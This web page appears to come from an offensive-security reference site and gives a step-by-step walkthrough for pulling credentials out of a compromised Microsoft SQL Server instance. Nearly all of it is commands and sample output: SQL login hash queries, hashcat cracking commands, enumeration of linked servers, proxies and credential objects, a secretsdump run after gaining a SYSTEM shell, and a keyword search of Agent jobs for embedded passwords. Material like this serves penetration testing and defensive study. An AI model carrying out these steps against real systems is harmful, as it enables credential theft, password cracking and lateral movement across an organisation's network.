Skip to content
HackIndex logo

HackIndex

MSSQL Credential Dump

4 min read May 15, 2026

SQL Server stores its own password hashes, linked server credentials, and proxy account secrets within the instance. Sysadmin access gives read access to all of these. Extracted hashes can be cracked offline or used to identify credential reuse across other services.

SQL Login Hashes — sys.sql_logins

The sys.sql_logins catalog view contains the password hash for every SQL Server authentication account. This requires sysadmin or VIEW SERVER STATE:

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth
mysql> SELECT name, password_hash, is_disabled, create_date, modify_date FROM sys.sql_logins; 
name        password_hash                                          is_disabled
sa          0x02001E6E04C3B95C2FD6E6F4A1E3B9D2C5A8F7E0B...        0
app_user    0x0200A1B2C3D4E5F6...                                   0
backup_svc  0x0200...                                               1

The 0x0200 prefix indicates MSSQL 2012+ SHA-512 hashing. Older instances may show 0x0100 (SHA-1, MSSQL 2005/2008).

Extract the hash as a string for offline cracking:

mysql> SELECT name, CONVERT(VARCHAR(MAX), password_hash, 1) AS hash_hex FROM sys.sql_logins WHERE is_disabled = 0;

Crack SQL Server Hashes with Hashcat

SQL Server 2012+ hashes use hashcat mode 1731. The input format is the hex string from CONVERT above, stripped of the 0x prefix:

┌──(kali㉿kali)-[~]
└─$ # MSSQL 2012+ (SHA-512 based, mode 1731)
┌──(kali㉿kali)-[~]
└─$ hashcat -m 1731 mssql_hashes.txt /usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # MSSQL 2005/2008 (SHA-1 based, mode 132)
┌──(kali㉿kali)-[~]
└─$ hashcat -m 132 mssql_hashes.txt /usr/share/wordlists/rockyou.txt

Format for hashcat mode 1731: 0x0200<hash> — keep the full hex string including the prefix.

SA passwords are often left at default or set to a weak password matching the server's local admin. Even without cracking, confirming the SA password identifies an often-reused credential.

Linked Server Credentials

Linked server login mappings that use a fixed remote login store the password in encrypted form in the registry under HKLM\SOFTWARE\Microsoft\MSSQLServer\Providers. Mimikatz and impacket-secretsdump can decrypt these if you have SYSTEM access.

From within SQL Server, list the configured login mappings first:

mysql> EXEC sp_helplinkedsrvlogin; 
Linked Server   Local Login   Is Self Mapping   Remote Login
SQL-PROD-02     NULL          0                 sa
ORACLE-DB       NULL          0                 app_oracle

Is Self Mapping = 0 with a remote login means a fixed credential is stored. The password is not readable via T-SQL — extract it from the registry or via secretsdump once you have OS-level SYSTEM access:

┌──(kali㉿kali)-[~]
└─$ # After obtaining SYSTEM shell via xp_cmdshell
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -hashes :$NTHASH $DOMAIN/$USER@$TARGET_IP

Linked server passwords appear in the secretsdump output under [*] Dumping MSSQL credentials.

SQL Server Agent Proxy Credentials

Agent proxy accounts allow SQL Agent jobs to run under specific Windows credentials. These are stored in DPAPI-encrypted credential objects:

mysql> USE msdb;
SELECT p.name AS proxy_name, c.name AS credential_name, c.credential_identity
FROM dbo.sysproxies p
JOIN sys.credentials c ON p.credential_id = c.credential_id; 
proxy_name        credential_name    credential_identity
BackupProxy       BackupAcct         CORP\backup_svc
ReportingProxy    ReportAcct         CORP\rpt_reader

The plaintext password is not accessible via T-SQL. Retrieve it via the Windows Credential Manager or DPAPI, which requires SYSTEM access. See Windows Token and Credential Harvesting for the DPAPI extraction workflow.

Credential Objects — sys.credentials

Service master key-encrypted credential objects store credentials used by BACKUP, OPENROWSET, and external operations:

mysql> SELECT name, credential_identity, create_date, modify_date FROM sys.credentials; 
name             credential_identity         create_date
S3BackupCred     AKIAIOSFODNN7EXAMPLE        2023-06-01
AzureBlobCred    storageaccount              2023-08-15

credential_identity often reveals the username or access key ID. The secret is not accessible in plaintext via T-SQL — extraction requires registry access with SYSTEM rights.

Search Agent Jobs for Embedded Credentials

SQL Agent jobs frequently contain PowerShell or T-SQL with embedded connection strings or credentials passed as arguments:

mysql> USE msdb;
SELECT j.name, s.step_name, s.subsystem, s.command
FROM dbo.sysjobs j
JOIN dbo.sysjobsteps s ON j.job_id = s.job_id
WHERE s.command LIKE '%password%'
OR s.command LIKE '%pwd%'
OR s.command LIKE '%credential%'
OR s.command LIKE '%-P %'
OR s.command LIKE '%ConnectionString%';

Pay particular attention to PowerShell subsystem jobs and CmdExec jobs — these often pass credentials as plain arguments that appear verbatim in the command column.

References